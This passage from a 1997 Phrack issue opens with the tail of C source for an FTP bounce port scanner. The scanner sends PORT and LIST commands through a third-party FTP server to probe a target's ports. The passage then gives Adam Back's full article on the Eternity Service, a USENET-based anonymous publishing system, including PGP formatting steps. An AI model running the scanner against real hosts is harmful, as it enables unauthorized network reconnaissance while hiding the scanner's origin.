recvbuf[res] = '\0';

if (debugging) printf("sent password, received: %s", recvbuf);

if (recvbuf[0] == '5') {

fprintf(stderr, "Your ftp bounce server refused login combo (%s/%s)\n", ftp‑>user, ftp‑>pass);

exit(1);

}

}

while ((res = recvtime(sd, recvbuf, 2048,2)) > 0)

if (debugging) {

recvbuf[res] = '\0';

printf("%s", recvbuf);

}

if (res < 0) {

perror("recv problem from ftp bounce server");

exit(1);

}

if (verbose) printf("Login credentials accepted by ftp server!\n");

ftp‑>sd = sd;

return sd;

}

int recvtime(int sd, char *buf, int len, int seconds) {

int res;

struct timeval timeout = {seconds, 0};

fd_set readfd;

FD_ZERO(&readfd);

FD_SET(sd, &readfd);

res = select(sd + 1, &readfd, NULL, NULL, &timeout);

if (res > 0 ) {

res = recv(sd, buf, len, 0);

if (res >= 0) return res;

perror("recv in recvtime");

return 0;

}

else if (!res) return 0;

perror("select() in recvtime");

return ‑1;

}

portlist bounce_scan(struct in_addr target, unsigned short *portarray, struct ftpinfo *ftp, portlist *ports) {

int starttime, res , sd = ftp‑>sd, i=0;

char *t = (char *)&target;

int retriesleft = FTP_RETRIES;

char recvbuf[2048];

char targetstr[20];

char command[512];

snprintf(targetstr, 20, "%d,%d,%d,%d,0,", UC(t[0]), UC(t[1]), UC(t[2]), UC(t[3])); starttime = time(NULL);

if (verbose || debugging)

printf("Initiating TCP ftp bounce scan against %s (%s)\n", current_name, inet_ntoa(target));

for(i=0; portarray[i]; i++) {

snprintf(command, 512, "PORT %s%i\r\n", targetstr, portarray[i]); if (send(sd, command, strlen(command), 0) < 0 ) { perror("send in bounce_scan");

if (retriesleft) {

if (verbose || debugging)

printf("Our ftp proxy server hung up on us! retrying\n"); retriesleft‑‑;

close(sd);

ftp‑>sd = ftp_anon_connect(ftp);

if (ftp‑>sd < 0) return *ports;

sd = ftp‑>sd;

i‑‑;

}

else {

fprintf(stderr, "Our socket descriptor is dead and we are out of retries. Giving up.\n"); close(sd);

ftp‑>sd = ‑1;

return *ports;

}

} else { /* Our send is good */

res = recvtime(sd, recvbuf, 2048,15);

if (res <= 0) perror("recv problem from ftp bounce server\n");

else { /* our recv is good */

recvbuf[res] = '\0';

if (debugging) printf("result of port query on port %i: %s", portarray[i], recvbuf);

if (recvbuf[0] == '5') {

if (portarray[i] > 1023) {

fprintf(stderr, "Your ftp bounce server sucks, it won't let us feed bogus ports!\n"); exit(1);

}

else {

fprintf(stderr, "Your ftp bounce server doesn't allow priviliged ports, skipping them.\n"); while(portarray[i] && portarray[i] < 1024) i++;

if (!portarray[i]) {

fprintf(stderr, "And you didn't want to scan any unpriviliged ports. Giving up.\n"); /* close(sd);

ftp‑>sd = ‑1;

return *ports;*/

/* screw this gentle return crap! This is an emergency! */

exit(1);

}

}

}

else /* Not an error message */

if (send(sd, "LIST\r\n", 6, 0) > 0 ) {

res = recvtime(sd, recvbuf, 2048,12);

if (res <= 0) perror("recv problem from ftp bounce server\n"); else {

recvbuf[res] = '\0';

if (debugging) printf("result of LIST: %s", recvbuf);

if (!strncmp(recvbuf, "500", 3)) {

/* fuck, we are not aligned properly */

if (verbose || debugging)

printf("misalignment detected ... correcting.\n"); res = recvtime(sd, recvbuf, 2048,10);

}

if (recvbuf[0] == '1' || recvbuf[0] == '2') {

if (verbose || debugging) printf("Port number %i appears good.\n", portarray[i]);

addport(ports, portarray[i], IPPROTO_TCP, NULL);

if (recvbuf[0] == '1') {

res = recvtime(sd, recvbuf, 2048,5);

recvbuf[res] = '\0';

if ((res > 0) && debugging) printf("nxt line: %s", recvbuf); }

}

}

}

}

}

}

if (debugging || verbose)

printf("Scanned %d ports in %ld seconds via the Bounce scan.\n", number_of_ports, time(NULL) ‑ starttime);

return *ports;

}

/* parse a URL stype ftp string of the form user:pass@server:portno */

int parse_bounce(struct ftpinfo *ftp, char *url) {

char *p = url,*q, *s;

if ((q = strrchr(url, '@'))) /*we have username and/or pass */ {

*(q++) = '\0';

if ((s = strchr(q, ':')))

{ /* has portno */

*(s++) = '\0';

strncpy(ftp‑>server_name, q, MAXHOSTNAMELEN); ftp‑>port = atoi(s);

}

else strncpy(ftp‑>server_name, q, MAXHOSTNAMELEN);

if ((s = strchr(p, ':'))) { /* User AND pass given */

*(s++) = '\0';

strncpy(ftp‑>user, p, 63);

strncpy(ftp‑>pass, s, 255);

}

else { /* Username ONLY given */

printf("Assuming %s is a username, and using the default password: %s\n", p, ftp‑>pass);

strncpy(ftp‑>user, p, 63);

}

}

else /* no username or password given */

if ((s = strchr(url, ':'))) { /* portno is given */

*(s++) = '\0';

strncpy(ftp‑>server_name, url, MAXHOSTNAMELEN);

ftp‑>port = atoi(s);

}

else /* default case, no username, password, or portnumber */

strncpy(ftp‑>server_name, url, MAXHOSTNAMELEN);

ftp‑>user[63] = ftp‑>pass[255] = ftp‑>server_name[MAXHOSTNAMELEN] = 0;

return 1;

}

/*

* I'll bet you've never seen this function before (yeah right)! * standard swiped checksum routine.

*/

unsigned short in_cksum(unsigned short *ptr,int nbytes) {

register long sum; /* assumes long == 32 bits */

u_short oddbyte;

register u_short answer; /* assumes u_short == 16 bits */

/*

* Our algorithm is simple, using a 32‑bit accumulator (sum),

* we add sequential 16‑bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */

sum = 0;

while (nbytes > 1) {

sum += *ptr++;

nbytes ‑= 2;

}

/* mop up an odd byte, if necessary */

if (nbytes == 1) {

oddbyte = 0; /* make sure top half is zero */

*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */

sum += oddbyte;

}

/*

* Add back carry outs from top 16 bits to low 16 bits.

*/

sum = (sum >> 16) + (sum & 0xffff); /* add high‑16 to low‑16 */

sum += (sum >> 16); /* add carry */

answer = ~sum; /* ones‑complement, then truncate to 16 bits */

return(answer);

}

<‑‑>

‑‑‑‑[ EOF

The Eternity Service

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 12 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ The Eternity Service

‑‑‑‑‑‑‑‑[ Adam Back <aba@dcs.exe.ac.uk>

Information wants to be Free

========================================

Information wants to be free. Censorship sucks. Having your account yanked because some censorious idiot doesn't like you discussing hacking tips and tricks in USENET sucks. Being tortured to death by some totalitarian country's military police for speaking the truth about government corruption sucks even more.

Have friends who have been hounded by the Feds, SPA software police, or system admins who believe in security by obscurity? Had nasty threats made by censorious system admins for helpfully drawing their attention to flaws in their systems security? Ever had a control freak try to get your web pages censored because they don't like its content, or simply because they get their kicks harassing people? Ever wanted to publish something on the 'Net but felt intimidated by censors?

Do you consider that free speech is your right as guaranteed by the first amendment of the US constitution, and do you therefore also consider it your right to speak anonymously? There are lots of reasons to protect the ability to speak anonymously. Anonymous speech is required for truly free speech. Strongly anonymous free speech is the freest speech of all. If you're going to preserve your ability to speak anonymously, and protect your right to free speech you might as well do it properly...

Want to do something to help free speech? Want to piss off the 'Net censors? Want to piss off censorious Governments? Read on...

What is the Eternity Service?

========================================

The Eternity Service is a distributed data‑haven, it takes a different approach to ensuring unpopular content can be published. Traditionally unpopular content has been surreptitiously exchanged via DCCs in IRC, or PGP encrypted email, or FSP, or in funny named directories via FTP or via agreed file names in incoming directories set drwx‑wx‑wx. Other kinds of unpopular content have been published on web pages for a short time until the censor gets to work and threatens the ISP, the publisher's employee, and the publisher with law suits. Sometimes these web pages get mirrored, if there is someone interested, and spoiling for a fight, or if the content is only censored by force of law in one jurisdiction.

The Eternity Service deals with censorship more directly: it confronts the problem in a more general way with the aim that anyone should be able to publish anything anonymously in a convenient persistent, uncensorable data‑haven.

So in a nut‑shell that is the design goal of the eternity service, to allow anyone to publish material which others would like to censor. For convenience the publishing medium addressed is the World Wide Web.

Systems for publishing anonymously in USENET news and email already exist: cypherpunks type I and type II (mixmaster) remailers.

Why the name `Eternity Service'?

========================================

There is a cryptographic paper by Ross Anderson called "The Eternity Service", which is where the idea for this implementation came from. I rather liked Ross's name for his conceptual service, and instead of thinking up some other name I just "borrowed" his name. Readers might find his paper interesting, it's on the web in htmlized form at:

http://www.cl.cam.ac.uk/users/rja14/eternity/eternity.html

Ross's design is quite ambitious, so I simplified his design in developing the software included with this article.

My implementation shares Ross's main design goal, which is to create a censorship‑proof, long‑term document store, but its design has been made much simpler and less ambitious initially to make it easier to implement. The main simplification is that I built the design on top of an existing hard‑to‑censor distributed distribution channel: `alt' USENET newsgroups. This design is described in the next sections.

The motivation for providing a simplified version was to have something people could use practically, today. Another reason is that by releasing this design, and it's implementation, it allows you, the reader, to play with it, and to contribute to it, improve it in a piecewise fashion in the good tradition of free software on the 'Net. The design calls for many eternity servers to be in existence to make it hard to censor.

At time of writing a mailing list exists for discussion on using and improving the eternity service. Instructions on how to subscribe the eternity mailing list are given at the bottom of this article.

USENET and distributed systems

========================================

The Internet was built to survive nuclear attack. It would survive such an attack because it is a distributed system. Distributed systems are hard to break, and therefore, hard to censor. USENET, particularly the `alt` newsgroups offer the most amazing chaotic discussion areas. The articles which are posted often contain materials which would be considered illegal in many jurisdictions. And yet USENET lives, and `alt` USENET newsgroups thrive. Extremely well funded attackers have tried to remove individual `alt` USENET groups, and to censor posts in alt USENET groups. They have all failed.

The reason that USENET is hard to attack is because it is a distributed system. The network of news feeds has some redundancy. USENET articles enter the news distribution network from anywhere in the network. If a censor in one country succeeds in persuading a news site to censor its feed and not carry particular alt groups, it doesn't affect the overall system that much. There are lots of other nodes carrying the groups, disgruntled users will switch ISPs, and disgruntled down‑feed sites will switch feeds. The system routes *around* censorship. There are just so many USENET admins with individual opinions, and commercial interests in carrying groups users want to read, that USENET can not die.

It occurred to me in trying to design a simplified eternity service, that it would be useful to borrow some of Usenet's indestructible nature. USENET is part of the landscape; it's here to stay. If we build a new distributed distribution system from scratch, to start with there won't be many nodes. The censor will have any easy time censoring a few nodes, he'll just go and harass each of them in turn.

With USENET on the other hand, it has been around for so long, and is carried at so many sites that it would be a huge task for a censor to even have a significant affect on USENET.

So, the design of my eternity server aims to allow operators to point the finger at USENET and say: "that's where the content is coming from, if you want to censor anything go attack USENET".

My eternity server design is a service designed to blur the differences between USENET news and the Web. It provides an interface which makes a stream of encrypted USENET news articles look like WWW pages with a persistent URL. As the default disclaimer for eternity servers says:

Note to censors: Eternity servers are specialized search engines for reading web documents from USENET news. The pages you request are actually USENET news posts which the server is searching for, reformatting and forwarding to you. The administrator of this server has no control over the content of USENET news, and will not be held responsible for any documents you instruct this server to forward for you.

Eternity Server design

========================================

Once you accept the idea that it would be nice to borrow, or build upon some of USENET news's strength as a uncensorable distribution mechanism, the next issue is achieving this, technically. The main differences between USENET news articles and WWW pages is that USENET is transient, the articles expire in newsgroups, and that USENET articles have no persistent globally addressable locator. USENET is not as convenient as the Web; there are no hypertext links between articles, and there are no inline images.

Eternity service articles are WWW pages specially formatted and posted to USENET news. The eternity server reads news and translates Web page requests into GROUP and ARTICLE commands to an NNTP news server (or file system accesses to a local news spool). (The default list of newsgroups to read consists of one group: alt.anonymous.messages).

Web pages are often updated, as one of the interesting aspects of the WWW as a publishing medium is that it allows people to maintain up‑to‑date information. This maintains interest and keeps people coming back to an interesting site to see what else the author has collected, or what other related pages have been added. A sense of community can be built up with others submitting interesting links, corrections, and tips to the author.

To provide the possibility of updating web pages with the eternity server, the eternity formatting convention allows submitted web pages to be signed with PGP. This ensures that no one else can replace your pages with other pages. Being able to replace your page with a blank page would allow a censor to temporarily censor you. (Only temporary because you could always replace the blank page with the real document again).

With a PGP signature this is prevented... and the system becomes such that eternity virtual domains are very much first‑come first‑served.

First‑come first‑served naming

========================================

Eternity URLs are all under the non‑existent Top Level Domain (TLD) "eternity". (Other TLDs being .com, .org, .edu, .ai, etc) Eternity URLs are therefore of the form:

http://*eternity/*

Where * represents any string of characters.

On the Internet domain names must be resolved to IP addresses via Domain Name Servers (DNS). The owner of the TLD you desire a domain name in charges you for registering a domain. Internic (who currently has a hotly contested monopoly on TLDs .com, .org, and .net), charge $100 for the first 2 years, and $50 for each year thereafter.

Eternity domains don't exist in this sense. There is no root domain server for eternity. You don't need to buy eternity URLs from anyone. Nobody _can_ own an eternity URL in the normal sense.

The first person to submit a document with a URL:

http://bluebox.eternity/

gets it. If that person signed the submitted document with PGP, no one will be able to take over that URL. If that person signed the submitted page with PGP and threw away the key, it would be uncensorable for all time. They couldn't even remove the document themselves if they wanted to. Throwing away the key might be a good idea if the publisher isn't publishing anonymously and expects reprisals.

The fact that one user has submitted a signed web page for http://bluebox.eternity/ doesn't stop BlackBeard from putting up his design at:

http://bluebox.eternity/blackbeard/

That is to say ownership of any given URL, even the top level URL of a virtual domain, doesn't give any control over who could submit documents in that virtual domain. Of course you don't have to link to their pages. But those pages will show in a directory search of your virtual site.

Directory searches

========================================

Submitted eternity news articles can set options controlling whether or not the document is listed in the index. The choice is either "exdirectory" (the default) or "directory". This is useful because if you created the URL for http://bluebox.eternity/, you might like to include some inline images, or

diagrams, or a series of other pages hypertext linked from that page. So you would set option "directory" for the main page http://bluebox.eternity/, and

set all the inline images and smaller pages linked from it to "exdirectory", as a convention to save the directory becoming cluttered up with junk.

You can also use "exdirectory" if you don't want to generally advertise your page. Note this is not all that secure if you access your page via a public access eternity server, as the server operator could modify the server to record all exdirectory URLs.

You can request a listing of all eternity pages at an eternity server by filling in the form with virtual URL containing a wild‑card:

http://*

(Exdirectory documents will not be listed.)

You can also include an option to give a small description (a maximum of 60 characters) which will be listed beside your virtual URL when someone does such a search.

You can narrow the search to just list all root eternity documents with:

http://*/

Which will find:

http://eternity/

http://bluebox.eternity/

but not:

http://test.eternity/example1/

You can also do:

http://bluebox.eternity/*

which will find:

http://bluebox.eternity/

http://bluebox.eternity/blackbeard/

You can combine *s to find what you want. Advanced searches are possible:

http://*box*.eternity/*blue*

and so on.

Eternity materials are likely to be targets for censors, and it is possible that they might try to censor the directory listing itself. Even the URL could suffer. (Did you know that Internic turned down some guy who wanted to register `fuck.com'?) I'm sure someone creative could up with something to upset a censor in the 60 characters allocated for URL descriptions too.

For these reasons the eternity server operator has the option to disable directory service. With this option disabled looking up URLs with wild‑cards (*s) in them will get back a notice explaining that directory listings service has not been turned on at this server.

Servers with directory service turned off make less useful servers, so it is hoped that most eternity server operators don't have to do this. However, an eternity server with directory service turned off still works normally for accessing known URLs, and you could maintain the directory listing yourself, or use a directory listing at another site.

Formatting Eternity documents

========================================

Eternity documents submitted as USENET news articles are formatted with PGP. There are three of reasons to format messages in USENET to make them not immediately readable.

1) It prevents censors from working out which articles correspond to which eternity web pages. Depending on the options chosen this can degrade to just obfuscation. Obfuscation alone however can be useful as censors are often not particularly clue‑full.

2) PGP includes compression, so the articles are much smaller.

3) If used with highest security options amongst a group of people who follow security guidelines it means that a censor will have no way to translate the articles back into WWW pages, or even of obtaining the URL.

To demonstrate the formatting requirements for eternity page submissions, we'll work with an example page, http://bluebox.eternity/.

You'll need an implementation of SHA1 for this. There is a C implementation, and also a perl implementation in the eternity server distribution. Some systems may already have /usr/local/bin/sha1.

(Note: below "echo ‑n" is used ‑‑ on Suns the built‑in echo doesn't handle the ‑n flag properly ‑‑ you'll have to use /usr/ucb/echo instead)

0) Generate a Nom de Plume

If you are planning to sign your document, you probably won't want to sign it with your normal key, so you'll generate a new keypair for the purpose, this will be your pseudonym, or Nom de Plume for the purposes of publishing this document. The "‑u fred" tells pgp to use that user id. See pgp documentation for how to generate keys (use pgp ‑kg).

Once you've generated your key, extract it to a file with:

% pgp ‑kxa fred fred

where `fred` is your new user name. It will save the key as "fred.asc". We'll use this file below.

1) Sign the document

We create a normal web page such as you might put on your home page. You can view the page with Netscape (or other browser) by opening it as a file URL: file:/home/fred/bluebox/index.html to check that it looks OK, and that any inline images line up correctly etc.

You can use relative, site relative, and absolute URLs normally in eternity documents. You can also use absolute URLs pointing at other sites in the normal way.

To submit index.html as http://bluebox.eternity/ we first use PGP to ASCII

armor the document. If we want to sign it at the same time as ASCII armoring it, so that we can update it later, we can do:

% pgp ‑sa index.html ‑u fred

There is another option to encrypt as well as sign and armor, which will be discussed more below, to do this do:

% pgp ‑csa index.html ‑u fred

If we don't want to sign it, we do this instead:

% pgp ‑a index.html

In either case after this operation PGP will create file "index.asc" for us. Rename index.asc to something else, say "index" (Another legal combination would be to encrypt and not sign with ‑ca).

2) Set the options

If you signed the document, you need to include the key. Insert the keyfile (fred.asc extracted in step 0 above) into the document "index". Order is not significant. Then the ASCII armored document (pgp munged html or gif file produced in stage 1), the keyfile "fred.asc", and the flags described below can be jumbled up in order.

You now have several flags you can include to control how your URL will be cached, how it will be displayed in indexes etc.

The flags are:

URL: http://bluebox.eternity/

The flag URL: sets what the eternity virtual URL will be. It must have .eternity as the virtual TLD.

Cache: yes

Cache: encrypted

Cache: no

Cache settings, choose one of those. These cache settings override the used eternity server's settings if doing so will increase security. "yes" and "no" are obvious. "encrypted" means that the document will be cached but it will be encrypted in the cache in such a way that the URL is required to decrypt it. If the document is exdirectory this means that the server won't know the URL.

Options: directory

Options: exdirectory

Choose one of those options. This flag controls whether the URL will be listed in the URL index. "directory" means it will be listed, "exdirectory" means it will not be listed. If you give neither option the document defaults to exdirectory.

Description: Freds blue box page

This is the description that will appear in directory listings. If the document is exdirectory there is no point giving a description.

So the file "index" is likely to look something like this once you've finished editing it:

URL: http://bluebox.eternity/

Cache: yes

Options: directory

Description: Freds blue box page

‑‑‑‑‑BEGIN PGP PUBLIC KEY‑‑‑‑‑

...

‑‑‑‑‑END PGP PUBLIC KEY‑‑‑‑‑

‑‑‑‑‑BEGIN PGP MESSAGE‑‑‑‑‑

...

‑‑‑‑‑BEGIN PGP MESSAGE‑‑‑‑‑

Where ... indicates the rest of the ASCII armored key or message will be displayed. Some of these parts can be omitted as shown above. When you are submitting an web page update you can omit anything you're not trying to change. (That can be everything, so your updated document has nothing but the new message part). However this is not necessarily a good idea because it will not make sense to an eternity server that has not seen the first document, for example if your first document doesn't make it via USENET to one site.

3) Package the document "index" ready for posting

You have a couple of choices here.

Method A (most common):

Either you can encrypt with PGP ‑c:

% pgp ‑c ‑z"eternity" index

Method B:

Or you can encrypt with the SHA1 of the URL with 1 prefixed,

% echo ‑n 1http://bluebox.eternity/ | sha1

dab1a32aba30b4e3a9594da143c33d2ba9b00a38

% pgp ‑c ‑z"dab1a32aba30b4e3a9594da143c33d2ba9b00a38" index

Most normal eternity URLs which you're expecting to be indexed on the directory services of public access eternity servers should be encrypted with the first simpler method.

There's not that much point encrypting with the second method unless your document is going to be exdirectory, because once the document gets in the URL everyone will know the URL anyway. It might take a censor a little longer to figure out.

If you were planning to only access the document via private, or local eternity servers, you can reveal the URL only to those you wish to have access. However this might not be that secure because people may be able to guess your URL if it is something common as above.

Method C:

For this reason you have a third option, which is to encrypt at the same time as signing and ASCII armoring as described in step 1. You can combine that option with above method B (pgp ‑c with sha1 of 1<URL>) to conceal the URL.

Or alternately you can expose the URL by using method 1 above (pgp ‑c ‑z"eternity"), but have the document encrypted in step 1. (This would allow you to have a directory entry, but the page not accessible without knowing the password chosen in step 1 when encrypting.

The result of the last pgp ‑c operation for any of method A, B, or C will be file "index.asc".

4) Post the article anonymously

The subject field of the article should always be the SHA1 hash of the URL:

% echo ‑n http://bluebox.eternity/ | sha1

2e730bcd62dbc63aaedde56c06625abeeb38dd92

Now post the article to USENET news (by default eternity servers read only newsgroup alt.anonymous.messages with release 0.10).

You can test your eternity submissions work by installing an eternity server on localhost. If you get stuck you could ask for assistance on the eternity mailing list (instructions on subscribing are at the bottom of this article).

To post anonymously you'll need to post via anonymous remailers. Some remailers can post to USENET directly, for other remailers you have to post via a mail2news gateway.

Instructions on using remailers, and windows and Unix clients to automate the process of using remailers can be found here:

http://www.stack.nl/~galactus/remailers/

You can find a list of mail2news gateways here:

http://www.replay.com/mail2news/

People are already working on a nice easy to use CGI interface to eternity servers over on the eternity list while I'm typing, so perhaps when you read this you won't need to know the above information in such detail.

Caching

========================================

With WWW technology, caching is often used to speed up accesses. There are a number of caches in effect with a typical web browsing session. The Netscape browser for instance has both a memory cache, and a disk cache, which are configurable in size. In addition Netscape can be set up to use a proxy cache, which is a special caching service. Users of a proxy cache send their web requests through it. The proxy cache checks each request to see if it has it in the cache, if it does, it can deliver it back if quickly. If it doesn't it will go and fetch whatever URL you are asking for and remember it for next time. A proxy cache would normally be used by a group of web users, perhaps a university campus, or an ISPs customers, or a companies employees.

Caches traditionally have some protection from censors ‑‑ it's an automated process after all ‑‑ your average ISP hardly wants to be responsible for the contents of the disk on its proxy cache machine.

For performance reasons the eternity server also has a cache. The cache behavior is configurable. The server operator can set his caching preferences when he installs the server by editing eternity.conf. Possible settings are "on", "off" and "encrypted". Setting cache to "off" is safest, then you have no eternity documents on your disk. The "encrypted" cache option means that cached documents are encrypted with PGP ‑c and the SHA1 hash of a 1 prepended to the URL. If the server also turns off directory service, and does no logging this provides reasonable deniability of knowledge of contents of documents in the cache. Even with directory service on, it provides cache set to "encrypted" provides protection in that the server operator will not know the URLs of exdirectory web pages.

Further work

========================================

There are a few unimplemented features that could use some work. These features are being discussed on the eternity mailing list (see instructions for subscribing below).

A first immediate problem is that the eternity server has no cache replacement policy. Your eternity cache will just keep growing. This is great for ensuring articles with caching turned on don't disappear due to expiring in the news spool, but as eternity grows more popular it will become impossible for each single eternity server to hold the full document store.

The solution to this problem is quite complex, and is the subject of the next implementation effort on the mailing list. One interim solution is to use the USENET searching facilities of services which archive USENET such as www.dejanews.com and www.altavista.digital.com.

There are several tweaks that would have to be done to be able to use USENET archivers as sources of eternity documents. Two main problems have to be combated: 1) the archives make attempts not to archive 7‑bit encoded binaries to save space, 2) you can't search by 40 character hex numbers to find subject fields. These are both easy to overcome, but the overall solution is not that attractive because the archivers will be a single point of failure. Censors will attack them, and they may be hostile to eternity servers due to our bypassing their 7‑bit encoding filters and consuming space on their soon to be multiple TB raid file servers.

A better solution is to build a distributed data store that allows eternity servers to exchange documents with each other in such a way that the eternity servers together form a virtual raid file‑server where the documents are spread randomly and redundantly over the nodes.

A simple starting point to allow this is to create a second long‑term cache area, and to have a cache replacement policy for that area which selects a random document for discarding. This cache replacement policy will ensure that statistically some servers will have a given document. Next we have to design a scalable method of forwarding requests to other servers to ask for old USENET articles by URL hash (subject field).

World‑FS

========================================

Another approach to improving the eternity server is to actually use and develop the full set of techniques described in Ross Anderson's paper to build a distributed file system (DFS). I dub this direction `world‑FS' because the aim is to build a worldwide distributed, redundant, uncensorable, and virtual file system. This file system would be designed to withstand a nuclear war, and to easily withstand the best efforts of one government to censor material in it. A world‑FS done well could easily replace the current pattern of web page hosting.

The world‑FS would have different interfaces, or drivers, to allow it to be accessed as an NFS file system, or as a distributed web based eternity service. The eternity server described in this document would then be superseded, and become the HTTP driver interface for world‑FS. An FTP, or NNTP (USENET news) interface could also be built for the world‑FS, or for parts of it's directory tree. People discussing this so far have thought that you would need to include ability to pay for service with an anonymous payment system (or with multiple payment systems).

The eternity mailing list is also for discussion of world‑FS, as it all falls under the umbrella of Ross Anderson's concept of an `eternity service'.

Comments and collaboration requested

========================================

Your contribution matters. Progress of the eternity service beyond this point relies on a collaborative effort.

You can collaborate by doing any of the following and reporting back to the eternity mailing list how you got on (subscription instructions below):

‑ submitting documents to the eternity document store

‑ installing an public access eternity server in your account ‑ or persuading your ISP to install one

‑ or installing a private eternity server in your account ‑ finding and reporting bugs to the mailing list

‑ contributing code

‑ contributing ideas for more efficient distributed request protocols

Adam Back

More information

========================================

Eternity mailing list

send message "subscribe eternity" to majordomo@internexus.net

The eternity mailing list is for eternity service users, eternity server operators, and eternity server developers to discuss issues to do with eternity. Issues include censorship attempts, operator liability, practical attacks on the security, and discussion of new protocols, and discussion amongst developers and users on the best way to design the next versions.

Cypherpunks mailing list

Cypherpunks write code. Cypherpunks are the people who bought you type I and type II remailers, remailer clients, plus many, many other crypto applications. Governments are scared of the implications of distributed systems and freedom to use cryptographic code. Cypherpunks are crypto‑anarchists, and they shall inherit the earth. Information is power, and cypherpunks are applied cryptographers with attitude. They don't care if governments don't like their code, in fact they probably view it as a compliment. You'd be surprised at how many cryptographers, net journalists, cryptographic consultants, small ISP owners, and Netizens are crypto‑anarchists at heart. Netizens never were very keen on government intrusions into the 'Net. Read Tim May's Cyphernomicon for a mega‑faq on cypherpunks, and crypto‑anarchy. See:

http://www.cc.oberlin.edu/~brchkind/cyphernomicon/

To subscribe to cypherpunks:

send message "subscribe cypherpunks" to majordomo@cyberpass.net or send message "subscribe cypherpunks" to majordomo@algebra.com or send message "subscribe cypherpunks" to majordomo@ssz.com

(Some time ago there was an attempt to impose moderation on the cypherpunks list, and this is the reason for this rather curious situation of multiple mailing lists, it is designed to be more resilient to censorship ‑‑ if someone pulls the plug on one list ‑‑ the rest continue without glitch.)

Cypherpunks is a high volume mailing list. There is no moderator,

Software

http://www.dcs.ex.ac.uk/~aba/eternity/

Please set a server up a public access eternity serve in your account. You can also operate your own eternity server for your own use ‑‑ this is the more secure way to browse eternity. If you have any kind of dial up or internet connected Unix system you can do this.

You'll need a web account with cgi capability, access to perl5, and read access to an NNTP news server, or a local news spool. Cron access is useful but not essential.

Current Public Access Eternity Servers

http://www.replay.com/aba/eternity/

http://moloko.insync.net/eternity/

http://eternity.internexus.net/

http://eternity.infinetways.net/

Contacting the author

aba@dcs.ex.ac.uk

or A.Back@ex.ac.uk

or aba@replay.com

PGP encrypted mail preferred, here's my key:

Type Bits/KeyID Date User ID

pub 2048/28B24551 1995/09/09 Adam Back <aba@dcs.ex.ac.uk> (High Security) Key fingerprint = 01 8F 04 06 5C DD F3 33 D8 84 C4 63 85 BA 50 E8

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.6.3i

mQENAzBRMbMAAAEIANoe/ABNaJv6/ETtDzlih4P3znc63CMP4ViFWStxyeWWjxd2 L8WOsM0b1naV4YmeRrd34GUsnZFetItToVqsvT5tKcwJKHwEWeXEQMbCM3cbaAxB +MGSx9PoLRc4ZLz79q/hMQXybNKmw5Rk7NwsyLiejZR+jt2Eoy/BHeFMunxfXD8j 38927FZBxG3UgCbL75ImJhWVsn8IoDOJ5psTfJwRcAZlkxsrpDSx2OIb6G35+pwm mEv8O066wOij7eMTQ8VQ5+rbn2ql0Ubsz3qA2szP2KZYlmobjwj5M82dmLcPfG9C bExMBldd8poJyBCn0e04kAFiGBJJPnvKqCiyRVEABRG0LEFkYW0gQmFjayA8YWJh QGRjcy5leC5hYy51az4gKEhpZ2ggU2VjdXJpdHkpiQCVAgUQMli+7B98EdWB2LS9 AQFF0gQAjiAOPPCs7s0VCHoFI2IWMEcAeQInmnl2p+6rpsvIxjX1v3wBqqstgBu5 aCLY9Uns+iKjzcnt5DTj6NPhJ8EOlefwgHUssiBLTsw7tOvT9fQwcIXOE5ikGP7j RObTq3a2Vtz4/O/YgN0KQnWcqTDuadeP17cJ2bbaWJpZiGDyWGSJAJUDBRAyIN+r RlGJMStI9vUBAXJTA/4wzbGnP9X0luqRYcfj51bamX9WdTDG9A8AvKngTbMG87x2 jV6vUicIP9XMERSl6fgT35Q2BYSCKGlhH5gGYkC+IfkyMZFHvZMdATurb4MuRivW pv30gTVstoF61CN3JKF1N/j1Ez2LOfFWFW+miceowAPrKr3e3zHCRXyewv75BIkB FQMFEDBW0M+xVzBJFqEkZQEBBQEH/AnpNhKJh1IPmii7X7xxmccMKFnq5R2DAP4Z +OJQ/otoy6AXifI9Y5aDYnm7sbPZX9uBk93ubf4Zm/v9wOcOKL6hXcE4+tvGSQA+ rAPgph1+t96iDTSTGwf5ZKVp+LfJXBz63wZHDJ+JlSTDRl9YeSxeRZgAo2XJtI/h v7fazds4CK0jFwDSWUtQUd7my9znsJ92W0UONe6iltnFUvywUICNGyXxCHV4RDPv /wTmDKarzHm44OfdzXhI+oTQvY3lG51gU6TMjR6Q/bjy9YEYpTcDRvOpMmkJ4aud tCxG/w82OG6lKnFw8Hv46VcpQVPt2YZMbgjUJBIQi6FedDjeky6JAJUDBRAwUUqY Kci4nVVqSmcBAaFJA/wJ0vcYZm8V7gqlk+nDzjIDvGNP1IaQtBFaXE/imyQaqyKe oIsyzhCWCNnsCvu8Cq2ZwmD63wBKzs+63ZgzJ7h1hC4lYKUB1mCsF0UnrZNJ7rtW DVMa0aLlvxIia7qsmbhaZ6ibs5+juqn3CKUvjCJKyOpuS0Lmrem5EXk9Byu5/IkB FQMFEDBRSjc+e8qoKLJFUQEBWjEH/3yb3JYhsjoqZdEjA1xSZJcjyoTnPG0vUhaD oi6OhTByqYShLe14RU9rYDzpOGmdwpZ6GSwF4X0uBAH1lCGnsi6QQXrnsp1fBq/6 +TQy1nBs2FZyj/YTXQIKhhXIH700ed0Nqg4okwtovyUqX0xbqlA2Sv1N+XC6hKuc bl9XWOQbKi8OM8VEKeLnrY9Glzrxk9piVb+eCT1RJnLovWdfPL7WFOwSbOQ/I9aB jBKBHYMGdLihf7PYeb3Eg3B8Kt3IDfipPUFfXjqes94hpqQl/DGpWSpDHHFQ5cTB iQIB4twFzz4bI1HMVEayKboPliJl3dI9vY0SQJ58b6OFYJTB4Jc=

=E4rO

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

Here are SHA1 hashes of the eternity service distribution

<++> hashes.asc

‑‑‑‑‑BEGIN PGP SIGNED MESSAGE‑‑‑‑‑

